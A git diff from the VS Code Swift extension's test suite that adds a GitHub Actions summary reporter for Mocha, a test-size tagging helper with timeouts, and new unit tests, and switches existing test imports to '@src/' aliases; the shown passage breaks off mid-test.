-0,0 +1,179 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { diffLines } from "diff"; +import * as fs from "fs"; +import * as mocha from "mocha"; + +const SUMMARY_ENV_VAR = "GITHUB_STEP_SUMMARY"; + +interface AssertionError extends Error { + showDiff?: boolean; + actual: string; + expected: string; +} + +function isAssertionError(err: Error): err is AssertionError { + return typeof (err as any).actual === "string" && typeof (err as any).expected === "string"; +} + +module.exports = class GitHubActionsSummaryReporter extends mocha.reporters.Base { + private _summaryFilePath: string | null | undefined; + get summaryFilePath(): string | null | undefined { + if (this._summaryFilePath !== undefined) { + return this._summaryFilePath; + } + + const summaryPath = process.env[SUMMARY_ENV_VAR]; + if (!summaryPath) { + this._summaryFilePath = null; + return null; + } + + try { + fs.accessSync(summaryPath, fs.constants.R_OK | fs.constants.W_OK); + } catch { + this._summaryFilePath = null; + return null; + } + + this._summaryFilePath = summaryPath; + return summaryPath; + } + + constructor(runner: Mocha.Runner, options: any) { + super(runner, options); + + const EVENT_RUN_END = mocha.Runner.constants.EVENT_RUN_END; + runner.on(EVENT_RUN_END, () => { + const title = options.reporterOption.title ?? "Test Summary"; + this.appendSummary(createMarkdownSummary(title, this.stats, this.failures)); + }); + } + + // Appends to the summary file synchronously since mocha does not support + // asynchronous reporters. + appendSummary(summary: string) { + if (!this.summaryFilePath) { + return; + } + fs.appendFileSync(this.summaryFilePath, summary, { encoding: "utf8" }); + } +}; + +function fullTitle(test: Mocha.Test | Mocha.Suite): string { + if (test.parent && test.parent.title) { + return fullTitle(test.parent) + " | " + test.title; + } + return test.title; +} + +function generateErrorMessage(failure: Mocha.Test): string { + if (!failure.err) { + return "The test did not report what the error was."; + } + + const stackTraceFilter = mocha.utils.stackTraceFilter(); + if (isAssertionError(failure.err) && failure.err.showDiff) { + const { message, stack } = splitStackTrace(failure.err); + return ( + message + + eol() + + generateDiff(failure.err.actual, failure.err.expected) + + eol() + + eol() + + stackTraceFilter(stack) + ); + } + if (failure.err.stack) { + return stackTraceFilter(failure.err.stack); + } + return mocha.utils.stringify(failure.err); +} + +function splitStackTrace(error: Error): { message: string; stack: string } { + if (!error.stack) { + return { message: error.message, stack: "" }; + } + + const indexOfMessage = error.stack.lastIndexOf(error.message); + const endIndexOfMessage = indexOfMessage + error.message.length; + return { + message: error.stack.substring(0, endIndexOfMessage), + stack: error.stack.substring(endIndexOfMessage + 1), + }; +} + +function generateDiff(actual: string, expected: string) { + return [ + "🟩 expected 🟥 actual\n\n", + ...diffLines(expected, actual).map(part => { + if (part.added) { + return "🟩" + part.value; + } + if (part.removed) { + return "🟥" + part.value; + } + return part.value; + }), + ].join(""); +} + +function tag(tag: string, attributes: string[], content: string): string { + return `<${tag}${attributes.length > 0 ? ` ${attributes.join(" ")}` : ""}>${content}`; +} + +function details(summary: string, open: boolean, content: string): string { + return tag( + "details", + open ? ["open"] : [], + eol() + tag("summary", [], summary) + eol() + content + eol() + ); +} + +function list(lines: string[]): string { + return tag("ul", [], eol() + lines.map(line => tag("li", [], line)).join(eol()) + eol()); +} + +function eol(): string { + if (process.platform === "win32") { + return "\r\n"; + } + return "\n"; +} + +function createMarkdownSummary(title: string, stats: Mocha.Stats, failures: Mocha.Test[]): string { + const isFailedRun = stats.failures > 0; + let summary = tag("h3", [], "Summary") + eol(); + summary += list([ + ...(stats.passes > 0 ? [`✅ ${stats.passes} passing test(s)`] : []), + ...(stats.failures > 0 ? [`❌ ${stats.failures} failing test(s)`] : []), + ...(stats.pending > 0 ? [`⚠️ ${stats.pending} pending test(s)`] : []), + ]); + if (isFailedRun) { + summary += tag("h3", [], "Test Failures"); + summary += list( + failures.map(failure => { + const errorMessage = generateErrorMessage(failure); + return ( + eol() + + tag("h5", [], fullTitle(failure)) + + eol() + + tag("pre", [], eol() + errorMessage + eol()) + + eol() + ); + }) + ); + } + return details(`${isFailedRun ? "❌" : "✅"} ${title}`, isFailedRun, summary) + eol(); +} diff --git a/test/tags.ts b/test/tags.ts new file mode 100644 index 000000000..d047bd355 --- /dev/null +++ b/test/tags.ts @@ -0,0 +1,186 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import type { AsyncFunc, Func, Suite, Test } from "mocha"; + +/** The set of all available test sizes that can be applied to a test or suite. */ +export type TestSize = "small" | "medium" | "large"; + +export interface MochaFunctions { + suite: Mocha.SuiteFunction; + test: Mocha.TestFunction; +} + +interface TaggedSuite extends Suite { + __VSCode_Swift_size?: TestSize; +} + +interface TaggedTest extends Test { + __VSCode_Swift_size?: TestSize; +} + +function getTimeout(size: TestSize): number { + // Don't time out when debugging. + // The 'VSCODE_DEBUG' environment variable gets set by '.vscode-test.js'. + const isDebugRun = process.env["VSCODE_DEBUG"] === "1"; + if (isDebugRun) { + return 0; + } + + const SECOND = 1000; + const MINUTE = 60 * SECOND; + switch (size) { + case "small": + // Keep this up to date with the default timeout in 'vscode-test.js'. + return 2 * SECOND; + case "medium": + return 2 * MINUTE; + case "large": + return 10 * MINUTE; + } +} + +/** + * Installs functionality into Mocha that is required to enable support for the tag() function. + */ +export function installTagSupport() { + const isFastTestRun = process.env["FAST_TEST_RUN"] === "1"; + + setup(function () { + const currentTest: TaggedTest | undefined = this.currentTest; + if (!currentTest) { + return; + } + + // Retrieve tags either from the current test or one of its parent suites. + // By default all tests/suites are tagged small. + let testSize: TestSize = "small"; + if (currentTest.__VSCode_Swift_size) { + testSize = currentTest.__VSCode_Swift_size; + } else { + let parent: TaggedSuite | undefined = currentTest.parent; + while (parent) { + if (parent.__VSCode_Swift_size) { + testSize = parent.__VSCode_Swift_size; + break; + } + parent = parent.parent; + } + } + + // Skip large tests during a fast test run. + if (testSize === "large" && isFastTestRun) { + currentTest.skip(); + } + }); +} + +/** + * Creates a wrapper around Mocha's suite() and test() functions with the provided tags. At the + * moment we only support a single test size tag, but more could be added in the future. + * + * Tags are used to identify how long a test is expected to run. There are three categories: + * - **small:** 2 second timeout used primarily for unit tests. + * - **medium:** 2 minute timeout used for the majority of integration tests. + * - **large:** 10 minute timeout used for very long running tests that should only be run + * in the nightly CI. + * + * When applied to a suite, all child tests and suites will inherit the tag(s) unless they + * are tagged otherwise. For example: + * + * ```typescript + * tag("medium").suite("A suite that contains medium sized tests by default", () => { + * tag("large").test("Explicitly applies the large tag to the test", () => { + * // 10 minute timeout + * }); + * + * test("Inherits the default tag of medium from the suite", () => { + * // 2 minute timeout + * }); + * + * suite("All tests in this suite will also inherit the medium tag", () => { + * // 2 minute timeout + * }); + * }); + * ``` + * + * @param size The size that will be tagged onto the suite or test. + * @returns A wrapper that can be used to create Mocha tests and suites. + */ +export function tag(size: TestSize): MochaFunctions { + function applyTags(obj: T): T { + if (!obj) { + return obj; + } + + obj.__VSCode_Swift_size = size; + obj.timeout(getTimeout(size)); + + return obj; + } + + // Create a mocha suite() function that applies the provided tag(s) to the suite. + // + // The timeouts need to be set within the suite function or they won't propagate to + // to contained suites and tests: https://github.com/mochajs/mocha/issues/5422 + const wrappedSuite = (title: string, fn?: (this: Suite) => void): Suite => { + if (fn) { + return suite(title, function () { + applyTags(this); + fn.call(this); + }); + } + return suite(title); + }; + wrappedSuite.only = (title: string, fn?: (this: Suite) => void): Suite => { + if (fn) { + // eslint-disable-next-line mocha/no-exclusive-tests + return suite.only(title, function () { + applyTags(this); + fn.call(this); + }); + } + // eslint-disable-next-line mocha/no-exclusive-tests + return suite.only(title); + }; + wrappedSuite.skip = (title: string, fn: (this: Suite) => void): Suite | void => { + return suite.skip(title, function () { + applyTags(this); + fn.call(this); + }); + }; + + // Create a mocha test() function that applies the provided tag(s) to the test. + const wrappedTest = (titleOrFn: string | AsyncFunc | Func, fn?: AsyncFunc | Func): Test => { + return applyTags(typeof titleOrFn === "string" ? test(titleOrFn, fn) : test(titleOrFn)); + }; + wrappedTest.only = (titleOrFn: string | AsyncFunc | Func, fn?: AsyncFunc | Func): Test => { + return applyTags( + // eslint-disable-next-line mocha/no-exclusive-tests + typeof titleOrFn === "string" ? test.only(titleOrFn, fn) : test.only(titleOrFn) + ); + }; + wrappedTest.skip = (titleOrFn: string | AsyncFunc | Func, fn?: AsyncFunc | Func): Test => { + return applyTags( + typeof titleOrFn === "string" ? test.skip(titleOrFn, fn) : test.skip(titleOrFn) + ); + }; + wrappedTest.retries = (n: number): void => { + return test.retries(n); + }; + + return { + suite: wrappedSuite, + test: wrappedTest, + }; +} diff --git a/test/tsconfig.json b/test/tsconfig.json index 9c5b152a8..0b5734825 100644 --- a/test/tsconfig.json +++ b/test/tsconfig.json @@ -1,7 +1,11 @@ { "extends": "../tsconfig-base.json", "compilerOptions": { - "types": ["node", "mocha"] + "types": ["node"], + "experimentalDecorators": true, + "paths": { + "@src/*": ["../src/*"] + } }, "include": ["**/*"], "references": [{ "path": "../src" }] diff --git a/test/unit-tests/MockUtils.test.ts b/test/unit-tests/MockUtils.test.ts index f922a5bdc..02fe92d1d 100644 --- a/test/unit-tests/MockUtils.test.ts +++ b/test/unit-tests/MockUtils.test.ts @@ -11,11 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; +import * as fs from "fs/promises"; import { stub } from "sinon"; import * as vscode from "vscode"; -import * as fs from "fs/promises"; + +import configuration from "@src/configuration"; +import { Version } from "@src/utilities/version"; + import { AsyncEventEmitter, mockFn, @@ -26,9 +29,6 @@ import { mockObject, waitForReturnedPromises, } from "../MockUtils"; -import { Version } from "../../src/utilities/version"; -import contextKeys from "../../src/contextKeys"; -import configuration from "../../src/configuration"; // eslint-disable-next-line @typescript-eslint/no-unused-vars function emptyFunction(..._: any): any { @@ -207,7 +207,6 @@ suite("MockUtils Test Suite", () => { suite("mockGlobalModule()", () => { const mockedFS = mockGlobalModule(fs); - const mockedContextKeys = mockGlobalModule(contextKeys); const mockedConfiguration = mockGlobalModule(configuration); test("can mock the fs/promises module", async () => { @@ -217,17 +216,6 @@ suite("MockUtils Test Suite", () => { expect(mockedFS.readFile).to.have.been.calledOnceWithExactly("some_file"); }); - test("can mock the contextKeys module", () => { - // Initial value should match default value in context keys - expect(contextKeys.isActivated).to.be.false; - // Make sure that you can set the value of contextKeys using the mock - mockedContextKeys.isActivated = true; - expect(contextKeys.isActivated).to.be.true; - // Make sure that setting isActivated via contextKeys is also possible - contextKeys.isActivated = false; - expect(contextKeys.isActivated).to.be.false; - }); - test("can mock the configuration module", () => { expect(configuration.sdk).to.equal(""); // Make sure you can set a value using the mock diff --git a/test/unit-tests/commands/captureDiagnostics.test.ts b/test/unit-tests/commands/captureDiagnostics.test.ts deleted file mode 100644 index 493a7236a..000000000 --- a/test/unit-tests/commands/captureDiagnostics.test.ts +++ /dev/null @@ -1,135 +0,0 @@ -//===----------------------------------------------------------------------===// -// -// This source file is part of the VS Code Swift open source project -// -// Copyright (c) 2024 the VS Code Swift project authors -// Licensed under Apache License v2.0 -// -// See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VS Code Swift project authors -// -// SPDX-License-Identifier: Apache-2.0 -// -//===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import * as path from "path"; -import * as os from "os"; -import * as fs from "fs/promises"; -import * as decompress from "decompress"; -import { expect } from "chai"; -import { instance, MockedObject, mockFn, mockGlobalObject, mockObject } from "../../MockUtils"; -import { captureDiagnostics } from "../../../src/commands/captureDiagnostics"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { FolderContext } from "../../../src/FolderContext"; -import { Version } from "../../../src/utilities/version"; -import { SwiftOutputChannel } from "../../../src/ui/SwiftOutputChannel"; -import { SwiftToolchain } from "../../../src/toolchain/toolchain"; - -suite("captureDiagnostics Test Suite", () => { - let mockContext: MockedObject; - let mockedOutputChannel: MockedObject; - let mockedToolchain: MockedObject; - const mockWindow = mockGlobalObject(vscode, "window"); - - setup(() => { - mockedToolchain = mockObject({ - swiftVersion: new Version(6, 0, 0), - diagnostics: "some diagnostics", - }); - const mockedFolder = mockObject({ - folder: vscode.Uri.file("/folder1"), - toolchain: instance(mockedToolchain), - }); - mockedOutputChannel = mockObject({ - log: mockFn(), - logs: ["hello", "world"], - }); - mockContext = mockObject({ - folders: [instance(mockedFolder)], - globalToolchainSwiftVersion: new Version(6, 0, 0), - outputChannel: instance(mockedOutputChannel), - }); - mockWindow.showInformationMessage.resolves("Minimal" as any); - }); - - test("Should capture dianostics to a zip file", async () => { - const zipPath = await captureDiagnostics(instance(mockContext)); - expect(zipPath).to.not.be.undefined; - }); - - test("Should validate a single folder project zip file has contents", async () => { - const zipPath = await captureDiagnostics(instance(mockContext)); - expect(zipPath).to.not.be.undefined; - - const { files, folder } = await decompressZip(zipPath as string); - - validate( - files.map(file => file.path), - ["extension-logs.txt", "folder1-[a-z0-9]+-settings.txt"] - ); - - await fs.rm(folder, { recursive: true, force: true }); - }); - - suite("Multiple folder project", () => { - setup(() => { - const mockedFolder1 = mockObject({ - folder: vscode.Uri.file("/folder1"), - toolchain: instance(mockedToolchain), - }); - const mockedFolder2 = mockObject({ - folder: vscode.Uri.file("/folder2"), - toolchain: instance(mockedToolchain), - }); - mockContext = mockObject({ - folders: [instance(mockedFolder1), instance(mockedFolder2)], - globalToolchainSwiftVersion: new Version(6, 0, 0), - outputChannel: instance(mockedOutputChannel), - }); - mockWindow.showInformationMessage.resolves("Minimal" as any); - }); - - test("Should validate a multiple folder project zip file has contents", async () => { - const zipPath = await captureDiagnostics(instance(mockContext)); - expect(zipPath).to.not.be.undefined; - - const { files, folder } = await decompressZip(zipPath as string); - validate( - files.map(file => file.path), - [ - "extension-logs.txt", - "folder1/", - "folder1/folder1-[a-z0-9]+-settings.txt", - "folder2/", - "folder2/folder2-[a-z0-9]+-settings.txt", - ] - ); - await fs.rm(folder, { recursive: true, force: true }); - }); - }); - - async function decompressZip( - zipPath: string - ): Promise<{ folder: string; files: decompress.File[] }> { - const tempDir = path.join( - os.tmpdir(), - `vscode-swift-test-${Math.random().toString(36).substring(7)}` - ); - await fs.mkdir(tempDir, { recursive: true }); - return { folder: tempDir, files: await decompress(zipPath as string, tempDir) }; - } - - function validate(paths: string[], patterns: string[]): void { - expect(paths.length).to.equal( - patterns.length, - `Expected ${patterns.length} files, but found ${paths.length}` - ); - const regexes = patterns.map(pattern => new RegExp(`^${pattern}$`)); - for (const regex of regexes) { - const matched = paths.some(path => regex.test(path)); - expect(matched, `No path matches the pattern: ${regex}, got paths: ${paths}`).to.be - .true; - } - } -}); diff --git a/test/unit-tests/commands/newSwiftFile.test.ts b/test/unit-tests/commands/newSwiftFile.test.ts index 9760173e9..b10f4efb0 100644 --- a/test/unit-tests/commands/newSwiftFile.test.ts +++ b/test/unit-tests/commands/newSwiftFile.test.ts @@ -11,15 +11,16 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import { expect } from "chai"; -import { match } from "sinon"; import * as path from "path"; -import { newSwiftFile } from "../../../src/commands/newFile"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { newSwiftFile } from "@src/commands/newFile"; +import { fileExists } from "@src/utilities/filesystem"; +import { TemporaryFolder } from "@src/utilities/tempFolder"; + import { mockGlobalObject } from "../../MockUtils"; -import { TemporaryFolder } from "../../../src/utilities/tempFolder"; -import { fileExists } from "../../../src/utilities/filesystem"; suite("newSwiftFile Command Test Suite", () => { const workspaceMock = mockGlobalObject(vscode, "workspace"); diff --git a/test/unit-tests/commands/openPackage.test.ts b/test/unit-tests/commands/openPackage.test.ts index bc16f3710..1b6546cf2 100644 --- a/test/unit-tests/commands/openPackage.test.ts +++ b/test/unit-tests/commands/openPackage.test.ts @@ -11,16 +11,17 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - // import * as assert from "assert"; -import * as vscode from "vscode"; -import * as path from "path"; import { expect } from "chai"; +import * as path from "path"; import { match } from "sinon"; +import * as vscode from "vscode"; + +import { openPackage } from "@src/commands/openPackage"; +import * as fs from "@src/utilities/filesystem"; +import { Version } from "@src/utilities/version"; + import { mockGlobalModule, mockGlobalObject } from "../../MockUtils"; -import { openPackage } from "../../../src/commands/openPackage"; -import { Version } from "../../../src/utilities/version"; -import * as fs from "../../../src/utilities/filesystem"; suite("openPackage Command Test Suite", () => { const windowMock = mockGlobalObject(vscode, "window"); diff --git a/test/unit-tests/commands/runPluginTask.test.ts b/test/unit-tests/commands/runPluginTask.test.ts index 1f16c98cb..9e742cdfb 100644 --- a/test/unit-tests/commands/runPluginTask.test.ts +++ b/test/unit-tests/commands/runPluginTask.test.ts @@ -11,12 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; -import { mockGlobalObject } from "../../MockUtils"; import { expect } from "chai"; import { match } from "sinon"; -import { runPluginTask } from "../../../src/commands/runPluginTask"; +import * as vscode from "vscode"; + +import { runPluginTask } from "@src/commands/runPluginTask"; + +import { mockGlobalObject } from "../../MockUtils"; suite("runPluginTask Test Suite", () => { const commandsMock = mockGlobalObject(vscode, "commands"); diff --git a/test/unit-tests/commands/runSwiftScript.test.ts b/test/unit-tests/commands/runSwiftScript.test.ts new file mode 100644 index 000000000..a6b6b7de4 --- /dev/null +++ b/test/unit-tests/commands/runSwiftScript.test.ts @@ -0,0 +1,140 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { beforeEach } from "mocha"; +import { match, stub } from "sinon"; +import * as vscode from "vscode"; + +import { runSwiftScript } from "@src/commands/runSwiftScript"; +import configuration from "@src/configuration"; +import { TaskManager } from "@src/tasks/TaskManager"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { instance, mockFn, mockGlobalObject, mockGlobalValue, mockObject } from "../../MockUtils"; + +suite("runSwiftScript Test Suite", () => { + const mockTaskManager = mockObject({ executeTaskAndWait: stub().resolves() }); + const mockToolchain = mockObject({ + getToolchainExecutable: () => "/usr/bin/swift", + swiftVersion: new Version(6, 0, 0), + buildFlags: instance( + mockObject({ + withAdditionalFlags: mockFn(s => s.callsFake(args => args)), + }) + ), + }); + + function createMockTextDocument( + options: { + isUntitled?: boolean; + } = {} + ) { + const isUntitled = options.isUntitled ?? false; + const baseDocument = { + getText: stub().returns('print("Hello, World!")'), + uri: vscode.Uri.file("/path/to/test.swift"), + languageId: "swift", + isUntitled, + }; + + // Add properties specific to saved documents + if (!isUntitled) { + return mockObject({ + ...baseDocument, + fileName: "test.swift", + save: stub().resolves(true), + }); + } + + return mockObject(baseDocument); + } + + beforeEach(() => { + mockTaskManager.executeTaskAndWait.resetHistory(); + }); + + test("Executes runTask command with a saved document", async () => { + await runSwiftScript( + instance(createMockTextDocument()), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.have.been.calledOnceWith( + match.has("detail", "swift -swift-version 6 test.swift") + ); + }); + + test("Executes runTask command with an unsaved document", async () => { + await runSwiftScript( + instance(createMockTextDocument({ isUntitled: true })), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.have.been.calledOnceWith( + match.has("detail", match(/^swift -swift-version 6 /)) + ); + }); + + suite("User Configuration", () => { + const config = mockGlobalValue(configuration, "scriptSwiftLanguageVersion"); + const mockWindow = mockGlobalObject(vscode, "window"); + + test("Executes run task with the users chosen swift version", async () => { + config.setValue(() => "5"); + + await runSwiftScript( + instance(createMockTextDocument()), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.have.been.calledOnceWith( + match.has("detail", "swift -swift-version 5 test.swift") + ); + }); + + test("Prompts for the users desired swift version", async () => { + config.setValue(() => "Ask Every Run"); + const selectedItem = { value: "6", label: "Swift 6" }; + mockWindow.showQuickPick.resolves(selectedItem); + + await runSwiftScript( + instance(createMockTextDocument()), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.have.been.calledOnceWith( + match.has("detail", "swift -swift-version 6 test.swift") + ); + }); + + test("Exists when the user cancels the prompt", async () => { + config.setValue(() => "Ask Every Run"); + mockWindow.showQuickPick.resolves(undefined); + + await runSwiftScript( + instance(createMockTextDocument()), + instance(mockTaskManager), + instance(mockToolchain) + ); + + expect(mockTaskManager.executeTaskAndWait).to.not.have.been.called; + }); + }); +}); diff --git a/test/unit-tests/commands/runTestMultipleTimes.test.ts b/test/unit-tests/commands/runTestMultipleTimes.test.ts index 217e96d9b..8f043b22d 100644 --- a/test/unit-tests/commands/runTestMultipleTimes.test.ts +++ b/test/unit-tests/commands/runTestMultipleTimes.test.ts @@ -11,15 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import { expect } from "chai"; -import { extractTestItemsAndCount } from "../../../src/commands/testMultipleTimes"; +import * as vscode from "vscode"; + +import { extractTestItemsAndCount } from "@src/commands/testMultipleTimes"; suite("Run Tests Multiple Times", () => { suite("extractTestItemsAndCount()", () => { function createDummyTestItem(label: string): vscode.TestItem { - return { label } as vscode.TestItem; + return { id: label, uri: vscode.Uri.file(`/dummy/path/${label}`) } as vscode.TestItem; } test("handles empty arguments", () => { diff --git a/test/unit-tests/commands/switchPlatform.test.ts b/test/unit-tests/commands/switchPlatform.test.ts index f2c54f105..55c4c895e 100644 --- a/test/unit-tests/commands/switchPlatform.test.ts +++ b/test/unit-tests/commands/switchPlatform.test.ts @@ -11,26 +11,27 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { expect } from "chai"; import * as vscode from "vscode"; -import { - mockObject, - mockGlobalObject, - mockGlobalModule, - MockedObject, - mockFn, - instance, -} from "../../MockUtils"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { switchPlatform } from "@src/commands/switchPlatform"; +import configuration from "@src/configuration"; import { DarwinCompatibleTarget, SwiftToolchain, getDarwinTargetTriple, -} from "../../../src/toolchain/toolchain"; -import { WorkspaceContext } from "../../../src/WorkspaceContext"; -import { switchPlatform } from "../../../src/commands/switchPlatform"; -import { StatusItem } from "../../../src/ui/StatusItem"; -import configuration from "../../../src/configuration"; +} from "@src/toolchain/toolchain"; +import { StatusItem } from "@src/ui/StatusItem"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockObject, +} from "../../MockUtils"; suite("Switch Target Platform Unit Tests", () => { const mockedConfiguration = mockGlobalModule(configuration); diff --git a/test/unit-tests/debugger/buildConfig.test.ts b/test/unit-tests/debugger/buildConfig.test.ts new file mode 100644 index 000000000..3769afc5c --- /dev/null +++ b/test/unit-tests/debugger/buildConfig.test.ts @@ -0,0 +1,267 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as sinon from "sinon"; + +import { FolderContext } from "@src/FolderContext"; +import { LinuxMain } from "@src/LinuxMain"; +import { SwiftPackage } from "@src/SwiftPackage"; +import configuration, { FolderConfiguration } from "@src/configuration"; +import { BuildConfigurationFactory } from "@src/debugger/buildConfig"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { MockedObject, instance, mockGlobalValue, mockObject } from "../../MockUtils"; + +suite("BuildConfig Test Suite", () => { + let mockedFolderContext: MockedObject; + let mockedSwiftPackage: MockedObject; + let mockedToolchain: MockedObject; + let mockedBuildFlags: MockedObject; + + const additionalTestArgumentsConfig = mockGlobalValue(configuration, "folder"); + + function createMockFolderConfig(additionalTestArguments: string[]): FolderConfiguration { + return { + testEnvironmentVariables: {}, + additionalTestArguments, + searchSubfoldersForPackages: false, + ignoreSearchingForPackagesInSubfolders: [], + autoGenerateLaunchConfigurations: false, + disableAutoResolve: false, + attachmentsPath: "", + pluginPermissions: () => ({ trusted: false }), + pluginArguments: () => [], + } as FolderConfiguration; + } + + suiteSetup(() => { + mockedBuildFlags = mockObject({ + getDarwinTarget: () => undefined, + }); + + mockedToolchain = mockObject({ + buildFlags: instance(mockedBuildFlags), + swiftVersion: new Version(6, 0, 0), + sanitizer: () => undefined, + }); + + mockedSwiftPackage = mockObject({ + getTargets: sinon.stub().resolves([{ name: "TestTarget" }]), + name: Promise.resolve("TestPackage"), + }); + + mockedFolderContext = mockObject({ + toolchain: instance(mockedToolchain), + swiftPackage: instance(mockedSwiftPackage), + workspaceFolder: { uri: { fsPath: "/test/workspace" }, name: "TestWorkspace" } as any, + swiftVersion: new Version(6, 0, 0), + relativePath: "", + linuxMain: { + exists: true, + } as any as LinuxMain, + }); + }); + + suite("TEST_ONLY_ARGUMENTS filtering", () => { + let filterArgumentsSpy: sinon.SinonSpy; + + setup(() => { + // Reset any existing spies + sinon.restore(); + + // Spy on the BuildFlags.filterArguments method + filterArgumentsSpy = sinon.spy(BuildFlags, "filterArguments"); + + // Mock configuration.folder to return test arguments + additionalTestArgumentsConfig.setValue(() => createMockFolderConfig([])); + }); + + teardown(() => { + sinon.restore(); + }); + + test("filters out test-only arguments for test builds", async () => { + additionalTestArgumentsConfig.setValue(() => + createMockFolderConfig([ + "--no-parallel", + "--filter", + "TestCase", + "--enable-code-coverage", + ]) + ); + + const config = await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + true, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.have.been.calledOnce; + const [args] = filterArgumentsSpy.firstCall.args; + + expect(args).to.deep.equal([ + "--no-parallel", + "--filter", + "TestCase", + "--enable-code-coverage", + ]); + + expect(config.args).to.include("--build-tests"); + }); + + test("preserves build-compatible arguments for test builds", async () => { + additionalTestArgumentsConfig.setValue(() => + createMockFolderConfig([ + "--scratch-path", + "/tmp/build", + "-Xswiftc", + "-enable-testing", + ]) + ); + + // Act: Build configuration for test build + await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + true, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.have.been.calledOnce; + const [args] = filterArgumentsSpy.firstCall.args; + expect(args).to.deep.equal([ + "--scratch-path", + "/tmp/build", + "-Xswiftc", + "-enable-testing", + ]); + }); + + test("does not filter arguments for non-test builds", async () => { + additionalTestArgumentsConfig.setValue(() => + createMockFolderConfig(["--no-parallel", "--scratch-path", "/tmp/build"]) + ); + + await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + false, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.not.have.been.called; + }); + + test("handles empty additionalTestArguments", async () => { + additionalTestArgumentsConfig.setValue(() => createMockFolderConfig([])); + + await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + true, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.have.been.calledOnce; + const [args] = filterArgumentsSpy.firstCall.args; + expect(args).to.deep.equal([]); + }); + + test("handles mixed arguments correctly", async () => { + additionalTestArgumentsConfig.setValue(() => + createMockFolderConfig([ + "--no-parallel", // test-only (should be filtered out) + "--scratch-path", + "/tmp", // build-compatible (should be preserved) + "--filter", + "MyTest", // test-only (should be filtered out) + "-Xswiftc", + "-O", // build-compatible (should be preserved) + "--enable-code-coverage", // test-only (should be filtered out) + "--verbose", // build-compatible (should be preserved) + ]) + ); + + await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + true, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.have.been.calledOnce; + const [args] = filterArgumentsSpy.firstCall.args; + expect(args).to.deep.equal([ + "--no-parallel", + "--scratch-path", + "/tmp", + "--filter", + "MyTest", + "-Xswiftc", + "-O", + "--enable-code-coverage", + "--verbose", + ]); + }); + + test("has correct include values for arguments with parameters", () => { + // Access the private static property through the class + const filter = (BuildConfigurationFactory as any).TEST_ONLY_ARGUMENTS; + + // Arguments that take 1 parameter + const oneParamArgs = ["--filter", "--skip", "--num-workers", "--xunit-output"]; + oneParamArgs.forEach(arg => { + const filterItem = filter.find((f: any) => f.argument === arg); + expect(filterItem, `${arg} should be in exclusion filter`).to.exist; + expect(filterItem.include, `${arg} should exclude 1 parameter`).to.equal(1); + }); + + // Arguments that take no parameters (flags) + const noParamArgs = ["--parallel", "--no-parallel", "--list-tests"]; + noParamArgs.forEach(arg => { + const filterItem = filter.find((f: any) => f.argument === arg); + expect(filterItem, `${arg} should be in exclusion filter`).to.exist; + expect(filterItem.include, `${arg} should exclude 0 parameters`).to.equal(0); + }); + }); + + test("excludes expected test-only arguments", () => { + // Access the private static property through the class + const filter = (BuildConfigurationFactory as 